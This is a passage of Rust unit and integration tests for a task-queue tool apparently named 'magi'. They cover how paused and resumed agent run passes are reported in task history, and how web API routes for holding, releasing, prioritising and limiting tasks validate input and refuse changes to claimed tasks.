14880 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
14881 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
14882 assert_eq!(v.exit, RunExit::Interrupted);
14883 assert_eq!(v.attempt, AttemptCost::Unknown);
14884 }
14885
14886 #[test]
14887 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
14888 let v = earlier_pass_view(|s| {
14889 s.quota.push(crate::run::QuotaLoss {
14890 seat: "judge-1".to_owned(),
14891 node: "judge".to_owned(),
14892 at: Timestamp::now(),
14893 reset: None,
14894 });
14895 });
14896 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
14897 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14898 assert_eq!(v.attempt, AttemptCost::Unknown);
14899 }
14900
14901 #[test]
14902 fn the_current_pass_states_its_recorded_cause_and_cost() {
14903 let slot = || RunSlot {
14904 n: 1,
14905 resumed: false,
14906 resumed_later: None,
14907 prior: None,
14908 last: true,
14909 ..RunSlot::default()
14910 };
14911 let task = flow_task(&["20260902-140501-aaaa"]);
14912 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
14913 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
14914 assert_eq!(
14915 (v.exit, v.attempt),
14916 (RunExit::Parked, AttemptCost::Refunded)
14917 );
14918 let spent = flow_run(RunStatus::Blocked, |_| {});
14919 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
14920 assert_eq!(v.attempt, AttemptCost::Spent);
14921 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
14922 }
14923
14924 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
14925 crate::run::RunPass {
14926 index,
14927 started_at: Timestamp::now(),
14928 resumed: index > 0,
14929 ended_at: end.as_ref().map(|_| Timestamp::now()),
14930 end,
14931 task_entry: true,
14932 }
14933 }
14934
14935 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
14936 Some(crate::run::PassEnd::Parked { cause })
14937 }
14938
14939 fn upgrade_cause() -> crate::run::ParkCause {
14940 crate::run::ParkCause::Upgrade {
14941 from: "0.121.0".to_owned(),
14942 to: Some("0.121.1".to_owned()),
14943 }
14944 }
14945
14946 fn settled_pass(
14947 run: &str,
14948 index: usize,
14949 cost: crate::queue::PassCost,
14950 ) -> crate::queue::TaskPass {
14951 crate::queue::TaskPass {
14952 run: run.to_owned(),
14953 pass_index: index,
14954 cost,
14955 attempts_after: 1,
14956 settled_at: Timestamp::now(),
14957 parked: None,
14958 }
14959 }
14960
14961 const RUN_X: &str = "20261011-223708-4334";
14962
14963 #[test]
14964 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
14965 use crate::queue::PassCost;
14966 let run = flow_run(RunStatus::Implementing, |s| {
14967 s.passes = vec![
14968 recorded_pass(0, parked(upgrade_cause())),
14969 recorded_pass(1, None),
14970 ];
14971 });
14972 let mut task = flow_task(&[RUN_X, RUN_X]);
14973 task.attempts = 1;
14974 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14975 let h = task_history(&task, |_| Some(run.clone()));
14976 assert_eq!(h.len(), 2);
14977 assert_eq!(h[0].kind, "competition");
14978 assert_eq!(h[1].kind, "resume");
14979 assert_eq!(
14980 (h[0].exit, h[0].attempt),
14981 (RunExit::Parked, AttemptCost::Refunded)
14982 );
14983 assert!(
14984 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
14985 "{}",
14986 h[0].outcome
14987 );
14988 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
14989 assert!(
14990 h[0].outcome.contains("pass #2 resumed the same run"),
14991 "{}",
14992 h[0].outcome
14993 );
14994 assert!(
14995 h[0].outcome.contains("pass 1 of 2 over run"),
14996 "{}",
14997 h[0].outcome
14998 );
14999 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15000 assert_eq!(
15001 h[0].exit_label,
15002 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15003 );
15004 let f = task_flow(&task, &h, 2, None);
15005 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15007 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15008 assert!(
15009 f.edges[1].label.contains("upgrade 0.121.0"),
15010 "{}",
15011 f.edges[1].label
15012 );
15013 assert!(
15014 f.edges[1].label.contains("resume the same run"),
15015 "{}",
15016 f.edges[1].label
15017 );
15018 assert_eq!(f.nodes[1].note, Some("parked"));
15019 }
15020
15021 #[test]
15022 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
15023 let mut a = flow_run(RunStatus::Implementing, |s| {
15024 s.passes = vec![
15025 recorded_pass(0, parked(upgrade_cause())),
15026 recorded_pass(1, None),
15027 ];
15028 });
15029 let mut b = flow_run(RunStatus::Failed, |s| {
15030 s.passes = vec![recorded_pass(0, None)];
15031 });
15032 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
15033 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
15034 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
15035 let mut task = flow_task(&[]);
15036 task.start("a".into());
15037 task.start("b".into());
15038 task.start("a".into());
15039 assert_eq!(task.runs, ["b", "a"]);
15040 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
15041 let h = task_history(&task, |id| {
15042 Some(if id == "a" { a.clone() } else { b.clone() })
15043 });
15044 assert_eq!(
15045 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
15046 ["a", "b", "a"]
15047 );
15048 assert_eq!(h[0].attempt, AttemptCost::Refunded);
15049 assert!(h[0].outcome.contains("upgrade"));
15050 assert_eq!(h[2].kind, "resume");
15051 assert!(h[2].pass.is_some());
15052 task.runs = vec!["a".into(), "b".into(), "a".into()];
15054 let old = task_history(&task, |id| {
15055 Some(if id == "a" { a.clone() } else { b.clone() })
15056 });
15057 assert_eq!(
15058 old.iter()
15059 .map(|v| (&v.id, &v.kind, v.attempt))
15060 .collect::<Vec<_>>(),
15061 h.iter()
15062 .map(|v| (&v.id, &v.kind, v.attempt))
15063 .collect::<Vec<_>>()
15064 );
15065 }
15066
15067 #[test]
15068 fn an_upgrade_whose_target_was_not_known_says_so() {
15069 let run = flow_run(RunStatus::Implementing, |s| {
15070 s.passes = vec![
15071 recorded_pass(
15072 0,
15073 parked(crate::run::ParkCause::Upgrade {
15074 from: "0.121.0".to_owned(),
15075 to: None,
15076 }),
15077 ),
15078 recorded_pass(1, None),
15079 ];
15080 });
15081 let task = flow_task(&[RUN_X, RUN_X]);
15082 let h = task_history(&task, |_| Some(run.clone()));
15083 assert!(
15084 h[0].outcome.contains("upgrade from 0.121.0"),
15085 "{}",
15086 h[0].outcome
15087 );
15088 assert_eq!(h[0].attempt, AttemptCost::Unknown);
15090 }
15091
15092 #[test]
15093 fn each_pass_keeps_its_own_cause_across_several_resumes() {
15094 use crate::queue::PassCost;
15095 use crate::run::ParkCause;
15096 let run = flow_run(RunStatus::Implementing, |s| {
15097 s.passes = vec![
15098 recorded_pass(0, parked(upgrade_cause())),
15099 recorded_pass(
15100 1,
15101 parked(ParkCause::Interrupt {
15102 reason: "task a1b2 asked to run first".to_owned(),
15103 }),
15104 ),
15105 recorded_pass(2, parked(ParkCause::Operator)),
15106 recorded_pass(3, None),
15107 ];
15108 });
15109 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
15110 task.attempts = 1;
15111 task.passes = (0..3)
15112 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
15113 .collect();
15114 let h = task_history(&task, |_| Some(run.clone()));
15115 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
15116 assert!(
15117 h[1].outcome.contains("task a1b2 asked to run first"),
15118 "{}",
15119 h[1].outcome
15120 );
15121 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
15122 assert!(
15123 h[2].outcome.contains("operator asked the loop to park"),
15124 "{}",
15125 h[2].outcome
15126 );
15127 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
15128 let f = task_flow(&task, &h, 2, None);
15129 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
15130 }
15131
15132 #[test]
15133 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
15134 let run = flow_run(RunStatus::Implementing, |s| {
15135 s.passes = vec![
15136 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
15137 recorded_pass(1, None),
15138 ];
15139 });
15140 let task = flow_task(&[RUN_X, RUN_X]);
15141 let h = task_history(&task, |_| Some(run.clone()));
15142 assert_eq!(h[0].exit, RunExit::Interrupted);
15143 assert_eq!(h[0].attempt, AttemptCost::Unknown);
15144 assert!(
15145 h[0].outcome.contains("without recording why"),
15146 "{}",
15147 h[0].outcome
15148 );
15149 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
15150 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
15151 }
15152
15153 #[test]
15154 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
15155 use crate::queue::PassCost;
15156 let run = flow_run(RunStatus::Implementing, |s| {
15159 s.passes = vec![
15160 recorded_pass(0, parked(upgrade_cause())),
15161 recorded_pass(1, None),
15162 ];
15163 });
15164 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
15165 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15166 let h = task_history(&task, |_| Some(run.clone()));
15167 assert!(h[0].pass.is_none());
15168 assert_eq!(h[0].exit, RunExit::Interrupted);
15169 assert_eq!(h[0].attempt, AttemptCost::Unknown);
15170 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15171 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
15172 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
15173 let legacy = flow_run(RunStatus::Implementing, |_| {});
15175 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
15176 assert!(h.iter().all(|v| v.pass.is_none()));
15177 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15178 }
15179
15180 #[test]
15181 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
15182 use crate::queue::PassCost;
15183 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
15186 web.task_entry = false;
15187 let run = flow_run(RunStatus::Implementing, |s| {
15188 s.passes = vec![
15189 recorded_pass(0, parked(upgrade_cause())),
15190 web.clone(),
15191 recorded_pass(2, None),
15192 ];
15193 });
15194 let mut task = flow_task(&[RUN_X, RUN_X]);
15195 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15196 let h = task_history(&task, |_| Some(run.clone()));
15197 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
15198 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
15199
15200 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
15203 web0.task_entry = false;
15204 let run = flow_run(RunStatus::Implementing, |s| {
15205 s.passes = vec![web0.clone(), recorded_pass(1, None)];
15206 });
15207 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
15208 assert!(h[0].pass.is_none());
15209 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
15210 assert!(h[1].pass.is_some());
15211 }
15212
15213 #[tokio::test]
15214 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
15215 let dir = tempfile::tempdir().unwrap();
15216 let queue = Queue::at(dir.path().join("queue"));
15217 let ui = Arc::new(Ui::new(
15218 queue.clone(),
15219 Questions::at(dir.path().join("questions")),
15220 Talks::at(dir.path().join("talks")),
15221 dir.path().join("runs"),
15222 dir.path().to_path_buf(),
15223 dir.path().to_path_buf(),
15224 ));
15225 let mut t = Task::new(
15226 "recover".into(),
15227 "Inspect".into(),
15228 PathBuf::from("."),
15229 Source::Human,
15230 );
15231 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
15232 t.start("run-A".into());
15233 t.release_operator("choice", Some("resume-question"));
15234 t.resume_override = Some(crate::queue::OperatorResume {
15235 question_id: "resume-question".into(),
15236 at: jiff::Timestamp::now(),
15237 conductor_rehold: None,
15238 forced: true,
15239 pinned_run: Some("run-A".into()),
15240 });
15241 t.hold_machine(Some("inspection pending".into()));
15242 t.edit("recover".into(), "Reuse approved PR head".into())
15243 .unwrap();
15244 queue.put(&mut t).unwrap();
15245 let mut cli = t.clone();
15246 cli.release_operator("cli", None);
15247 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
15248 let reloaded = queue.get(&t.id).unwrap();
15249 assert_eq!(reply.task.status, TaskStatus::Queued);
15250 assert!(reloaded.resume_override.is_none());
15251 assert_eq!(reloaded.answers, t.answers);
15252 let mut web = reloaded.resumption.unwrap();
15253 let cli = cli.resumption.unwrap();
15254 assert_eq!(web.source, "web");
15255 web.source = cli.source.clone();
15256 web.at = cli.at;
15257 assert_eq!(web, cli);
15258 }
15259
15260 #[tokio::test]
15261 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
15262 let f = Fixture::start().await;
15263 let queue = f.queue();
15264 let mut task = Task::new(
15265 "spent".to_owned(),
15266 "Try again".to_owned(),
15267 PathBuf::from("/repo/magi"),
15268 Source::Human,
15269 );
15270 task.start("20260902-140502-bbbb".to_owned());
15271 task.fail("agent gave up", 9);
15272 queue.put(&mut task).expect("file the task");
15273
15274 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
15275 assert_eq!(held.status, 200);
15276 assert_eq!(held.json()["status_str"], "held");
15277
15278 let released = f
15279 .post(&format!("/api/queue/{}/release", task.id), None)
15280 .await;
15281 assert_eq!(released.status, 200);
15282 assert_eq!(released.json()["status_str"], "queued");
15283 assert_eq!(released.json()["resumption"]["source"], "web");
15284 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
15285 let mut cli = task.clone();
15286 cli.release_operator("cli", None);
15287 let web = queue.get(&task.id).unwrap().resumption.unwrap();
15288 let cli = cli.resumption.unwrap();
15289 assert_eq!(web.instruction, cli.instruction);
15290 assert_eq!(web.answers_through, cli.answers_through);
15291 assert_eq!(web.runs_through, cli.runs_through);
15292 assert_eq!(web.cleared_reason, cli.cleared_reason);
15293 assert_eq!(
15294 released.json()["attempts"],
15295 0,
15296 "release is a real second chance, not an instant re-hold"
15297 );
15298 assert_eq!(
15299 queue.get(&task.id).expect("reload").status,
15300 TaskStatus::Queued,
15301 "the change is on disk, not only in the reply"
15302 );
15303 assert!(
15304 !f.home
15305 .path()
15306 .join("queue")
15307 .join(format!("{}.lock", task.id))
15308 .exists(),
15309 "the claim the mutation took is released again"
15310 );
15311 }
15312
15313 #[tokio::test]
15314 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
15315 let f = Fixture::start().await;
15316 let queue = f.queue();
15317 let mut task = Task::new(
15318 "busy".to_owned(),
15319 "Running right now".to_owned(),
15320 PathBuf::from("/repo/magi"),
15321 Source::Human,
15322 );
15323 queue.put(&mut task).expect("file the task");
15324 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15325
15326 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
15327
15328 assert_eq!(res.status, 409);
15329 assert_eq!(
15330 queue.get(&task.id).expect("reload").status,
15331 TaskStatus::Queued,
15332 "the refused hold changed nothing"
15333 );
15334 }
15335
15336 #[tokio::test]
15337 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
15338 let f = Fixture::start().await;
15339 let queue = f.queue();
15340 let mut task = Task::new(
15341 "waiting on the migration".to_owned(),
15342 "Do the thing".to_owned(),
15343 PathBuf::from("/repo/magi"),
15344 Source::Human,
15345 );
15346 queue.put(&mut task).expect("file the task");
15347
15348 let held = f
15349 .post(
15350 &format!("/api/queue/{}/hold", task.id),
15351 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
15352 )
15353 .await;
15354 assert_eq!(held.status, 200, "{}", held.body);
15355 assert_eq!(held.json()["status_str"], "held");
15356 assert_eq!(
15357 held.json()["hold_reason"],
15358 "waiting for 20260101-000000-aaaa to land"
15359 );
15360
15361 let listed = f.get("/api/queue").await.json();
15362 assert_eq!(
15363 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
15364 "the card reads the reason off the same list route"
15365 );
15366
15367 let mut plain = Task::new(
15370 "no reason given".to_owned(),
15371 "Do another thing".to_owned(),
15372 PathBuf::from("/repo/magi"),
15373 Source::Human,
15374 );
15375 queue.put(&mut plain).expect("file the task");
15376 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
15377 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
15378 assert!(held_plain.json()["hold_reason"].is_null());
15379
15380 let released = f
15381 .post(&format!("/api/queue/{}/release", task.id), None)
15382 .await;
15383 assert_eq!(released.status, 200);
15384 assert!(
15385 released.json()["hold_reason"].is_null(),
15386 "a release must clear the reason so the next hold does not inherit it"
15387 );
15388 }
15389
15390 #[test]
15391 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
15392 for urgent in [true, false] {
15393 let body: UrgentBody =
15394 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
15395 assert_eq!(body.urgent, urgent);
15396 }
15397 for input in [
15398 r#"{}"#,
15399 r#"{"urgent":null}"#,
15400 r#"{"urgent":"true"}"#,
15401 r#"{"urgent":1}"#,
15402 r#"{"urgent":true,"extra":false}"#,
15403 ] {
15404 assert!(
15405 serde_json::from_str::<UrgentBody>(input).is_err(),
15406 "{input}"
15407 );
15408 }
15409 }
15410
15411 #[tokio::test]
15412 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
15413 let home = TempDir::new().unwrap();
15414 let q = Queue::at(home.path().join("queue"));
15415 let ui = Arc::new(Ui::new(
15416 q.clone(),
15417 Questions::at(home.path().join("questions")),
15418 Talks::at(home.path().join("talks")),
15419 home.path().join("runs"),
15420 home.path().into(),
15421 home.path().into(),
15422 ));
15423 let mut task = Task::new(
15424 "urgent handler".into(),
15425 "keep".into(),
15426 home.path().into(),
15427 Source::Human,
15428 );
15429 for status in [TaskStatus::Queued, TaskStatus::Held] {
15430 task.status = status;
15431 q.put(&mut task).unwrap();
15432 for urgent in [true, true, false, false] {
15433 let saved = queue_urgent(
15434 State(Arc::clone(&ui)),
15435 Path(task.short().into()),
15436 Ok(Json(UrgentBody { urgent })),
15437 )
15438 .await
15439 .unwrap();
15440 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
15441 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
15442 }
15443 }
15444 task.status = TaskStatus::Queued;
15445 q.put(&mut task).unwrap();
15446 let claim = q.claim(&task.id).unwrap();
15447 let error = queue_urgent(
15448 State(Arc::clone(&ui)),
15449 Path(task.id.clone()),
15450 Ok(Json(UrgentBody { urgent: true })),
15451 )
15452 .await
15453 .unwrap_err();
15454 assert_eq!(error.status, StatusCode::CONFLICT);
15455 assert!(error.message.contains("released"));
15456 drop(claim);
15457 for status in [
15458 TaskStatus::Running,
15459 TaskStatus::Done,
15460 TaskStatus::Failed,
15461 TaskStatus::Blocked,
15462 TaskStatus::Parked,
15463 ] {
15464 task.status = status;
15465 q.put(&mut task).unwrap();
15466 let error = queue_urgent(
15467 State(Arc::clone(&ui)),
15468 Path(task.id.clone()),
15469 Ok(Json(UrgentBody { urgent: false })),
15470 )
15471 .await
15472 .unwrap_err();
15473 assert_eq!(error.status, StatusCode::BAD_REQUEST);
15474 assert!(error.message.contains(status.as_str()));
15475 }
15476 }
15477
15478 #[tokio::test]
15479 async fn urgent_api_updates_preserves_and_validates_tasks() {
15480 let f = Fixture::start().await;
15481 let q = f.queue();
15482 let mut t = Task::new(
15483 "urgent API".into(),
15484 "unchanged".into(),
15485 PathBuf::from("/repo/magi"),
15486 Source::Human,
15487 );
15488 t.attempts = 2;
15489 t.priority = 9;
15490 t.interrupt = true;
15491 t.hold_reason = Some("waiting for approval".into());
15492 for status in [TaskStatus::Queued, TaskStatus::Held] {
15493 t.status = status;
15494 q.put(&mut t).unwrap();
15495 for urgent in [true, true, false, false] {
15496 let response = f
15497 .post(
15498 &format!("/api/queue/{}/urgent", t.short()),
15499 Some(&format!("{{\"urgent\":{urgent}}}")),
15500 )
15501 .await;
15502 assert_eq!(response.status, 200, "{}", response.body);
15503 assert_eq!(response.json()["urgent"], urgent);
15504 let saved = q.get(&t.id).unwrap();
15505 let mut before = serde_json::to_value(&t).unwrap();
15506 let mut after = serde_json::to_value(saved).unwrap();
15507 before["urgent"] = urgent.into();
15508 before.as_object_mut().unwrap().remove("updated_at");
15509 after.as_object_mut().unwrap().remove("updated_at");
15510 assert_eq!(after, before);
15511 }
15512 }
15513 let route = format!("/api/queue/{}/urgent", t.id);
15514 for body in [
15515 r#"{}"#,
15516 r#"{"urgent":null}"#,
15517 r#"{"urgent":"true"}"#,
15518 r#"{"urgent":1}"#,
15519 r#"{"urgent":true,"extra":false}"#,
15520 "{",
15521 ] {
15522 assert_eq!(f.post(&route, Some(body)).await.status, 400);
15523 }
15524 t.status = TaskStatus::Queued;
15525 q.put(&mut t).unwrap();
15526 let claim = q.claim(&t.id).unwrap();
15527 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
15528 assert_eq!(response.status, 409, "{}", response.body);
15529 assert!(!q.get(&t.id).unwrap().urgent);
15530 drop(claim);
15531 for status in [
15532 TaskStatus::Running,
15533 TaskStatus::Done,
15534 TaskStatus::Failed,
15535 TaskStatus::Blocked,
15536 TaskStatus::Parked,
15537 ] {
15538 t.status = status;
15539 q.put(&mut t).unwrap();
15540 for urgent in [true, false] {
15541 let response = f
15542 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
15543 .await;
15544 assert_eq!(response.status, 400, "{}", response.body);
15545 assert!(response.body.contains(status.as_str()));
15546 assert!(response.body.contains("queued or held"));
15547 assert!(!q.get(&t.id).unwrap().urgent);
15548 }
15549 }
15550 assert_eq!(
15551 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
15552 .await
15553 .status,
15554 404
15555 );
15556 }
15557
15558 #[tokio::test]
15559 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
15560 let f = Fixture::start().await;
15561 let queue = f.queue();
15562 let mut older = Task::new(
15563 "filed first".to_owned(),
15564 "x".to_owned(),
15565 PathBuf::from("/repo/magi"),
15566 Source::Human,
15567 );
15568 older.id = "20260101-000001-aaaa".to_owned();
15569 let mut newer = Task::new(
15570 "filed second".to_owned(),
15571 "x".to_owned(),
15572 PathBuf::from("/repo/magi"),
15573 Source::Human,
15574 );
15575 newer.id = "20260101-000002-bbbb".to_owned();
15576 queue.put(&mut older).expect("file older");
15577 queue.put(&mut newer).expect("file newer");
15578
15579 let before = f.get("/api/queue").await.json();
15582 assert_eq!(before[0]["id"], newer.id);
15583 assert_eq!(before[1]["id"], older.id);
15584
15585 let raised = f
15589 .post(
15590 &format!("/api/queue/{}/priority", older.id),
15591 Some(r#"{"priority":10}"#),
15592 )
15593 .await;
15594 assert_eq!(raised.status, 200, "{}", raised.body);
15595 assert_eq!(raised.json()["priority"], 10);
15596
15597 let after = f.get("/api/queue").await.json();
15598 let names: Vec<&str> = after
15599 .as_array()
15600 .unwrap()
15601 .iter()
15602 .map(|t| t["id"].as_str().unwrap())
15603 .collect();
15604 assert_eq!(names[0], older.id, "the raised task now sorts first");
15608 }
15609
15610 #[tokio::test]
15611 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
15612 let dir = TempDir::new().unwrap();
15613 let q = Queue::at(dir.path().join("queue"));
15614 let ui = Arc::new(Ui::new(
15615 q.clone(),
15616 Questions::at(dir.path().join("questions")),
15617 Talks::at(dir.path().join("talks")),
15618 dir.path().join("runs"),
15619 dir.path().to_path_buf(),
15620 dir.path().to_path_buf(),
15621 ));
15622 let mut t = Task::new(
15623 "budget".into(),
15624 "keep".into(),
15625 dir.path().into(),
15626 Source::Human,
15627 );
15628 t.attempts = 2;
15629 t.runs.push("prior-run".into());
15630 t.hold_manual(Some("waiting".into()));
15631 q.put(&mut t).unwrap();
15632 let change = |value| {
15633 queue_attempt_limit(
15634 State(ui.clone()),
15635 Path(t.id.clone()),
15636 Ok(Json(AttemptLimitBody {
15637 attempt_limit: value,
15638 })),
15639 )
15640 };
15641 for value in [
15642 serde_json::json!(3),
15643 serde_json::Value::Null,
15644 serde_json::json!(1),
15645 ] {
15646 let response = change(value.clone()).await.unwrap();
15647 assert_eq!(
15648 serde_json::to_value(response.0).unwrap()["attempt_limit"],
15649 value
15650 );
15651 let saved = q.get(&t.id).unwrap();
15652 assert_eq!(
15653 serde_json::to_value(&saved).unwrap()["attempt_limit"],
15654 value
15655 );
15656 assert_eq!(saved.status, TaskStatus::Held);
15657 assert_eq!(saved.attempts, t.attempts);
15658 assert_eq!(saved.runs, t.runs);
15659 assert_eq!(saved.hold_reason, t.hold_reason);
15660 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
15661 .await
15662 .unwrap()
15663 .0;
15664 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
15665 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
15666 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
15667 assert_eq!(outcome.max_attempts, detail.max_attempts);
15668 }
15669 for value in [
15670 serde_json::json!(0),
15671 serde_json::json!(-1),
15672 serde_json::json!(1.5),
15673 serde_json::json!("3"),
15674 serde_json::json!(true),
15675 ] {
15676 assert_eq!(
15677 change(value).await.err().unwrap().status,
15678 StatusCode::BAD_REQUEST
15679 );
15680 }
15681 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
15682 let claim = q.claim(&t.id).unwrap();
15683 assert_eq!(
15684 change(serde_json::json!(4)).await.err().unwrap().status,
15685 StatusCode::CONFLICT
15686 );
15687 drop(claim);
15688 for status in [
15689 TaskStatus::Running,
15690 TaskStatus::Done,
15691 TaskStatus::Failed,
15692 TaskStatus::Blocked,
15693 TaskStatus::Parked,
15694 ] {
15695 let mut stored = q.get(&t.id).unwrap();
15696 stored.status = status;
15697 q.put(&mut stored).unwrap();
15698 assert_eq!(
15699 change(serde_json::json!(4)).await.err().unwrap().status,
15700 StatusCode::BAD_REQUEST
15701 );
15702 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
15703 }
15704 let mut stored = q.get(&t.id).unwrap();
15705 stored.status = TaskStatus::Queued;
15706 q.put(&mut stored).unwrap();
15707 let _ = change(serde_json::Value::Null).await.unwrap();
15708 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
15709 }
15710
15711 #[tokio::test]
15712 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
15713 let dir = TempDir::new().unwrap();
15714 let repo = dir.path().join("repo");
15715 std::fs::create_dir(&repo).unwrap();
15716 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
15717 let q = Queue::at(dir.path().join("queue"));
15718 let ui = Arc::new(Ui::new(
15719 q.clone(),
15720 Questions::at(dir.path().join("questions")),
15721 Talks::at(dir.path().join("talks")),
15722 dir.path().join("runs"),
15723 dir.path().to_path_buf(),
15724 repo.clone(),
15725 ));
15726 let mut t = Task::new(
15727 "seats".into(),
15728 "keep instruction".into(),
15729 repo,
15730 Source::Human,
15731 );
15732 t.runs.push("prior-run".into());
15733 t.hold_manual(Some("waiting".into()));
15734 q.put(&mut t).unwrap();
15735 let change = |count| {
15736 queue_implementers(
15737 State(ui.clone()),
15738 Path(t.id.clone()),
15739 Ok(Json(ImplementersBody {
15740 implementers: count,
15741 })),
15742 )
15743 };
15744 for count in [2, 1, 2] {
15745 let response = change(count).await.unwrap();
15746 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
15747 let saved = q.get(&t.id).unwrap();
15748 assert_eq!(saved.implementers(), Some(usize::from(count)));
15749 assert_eq!(saved.runs, t.runs);
15750 assert_eq!(saved.instruction, t.instruction);
15751 }
15752 for count in [0, 4] {
15753 assert_eq!(
15754 change(count).await.err().unwrap().status,
15755 StatusCode::BAD_REQUEST
15756 );
15757 }
15758 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
15759 let claim = q.claim(&t.id).unwrap();
15760 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
15761 drop(claim);
15762 for status in [
15763 TaskStatus::Running,
15764 TaskStatus::Done,
15765 TaskStatus::Failed,
15766 TaskStatus::Blocked,
15767 TaskStatus::Parked,
15768 ] {
15769 let mut stored = q.get(&t.id).unwrap();
15770 stored.status = status;
15771 q.put(&mut stored).unwrap();
15772 assert_eq!(
15773 change(1).await.err().unwrap().status,
15774 StatusCode::BAD_REQUEST
15775 );
15776 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
15777 }
15778 }
15779
15780 #[tokio::test]
15781 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
15782 let f = Fixture::start().await;
15783 let queue = f.queue();
15784 let mut task = Task::new(
15785 "in flight".to_owned(),
15786 "x".to_owned(),
15787 PathBuf::from("/repo/magi"),
15788 Source::Human,
15789 );
15790 task.start("20260902-140502-bbbb".to_owned());
15791 queue.put(&mut task).expect("file the task");
15792
15793 let res = f
15794 .post(
15795 &format!("/api/queue/{}/priority", task.id),
15796 Some(r#"{"priority":9}"#),
15797 )
15798 .await;
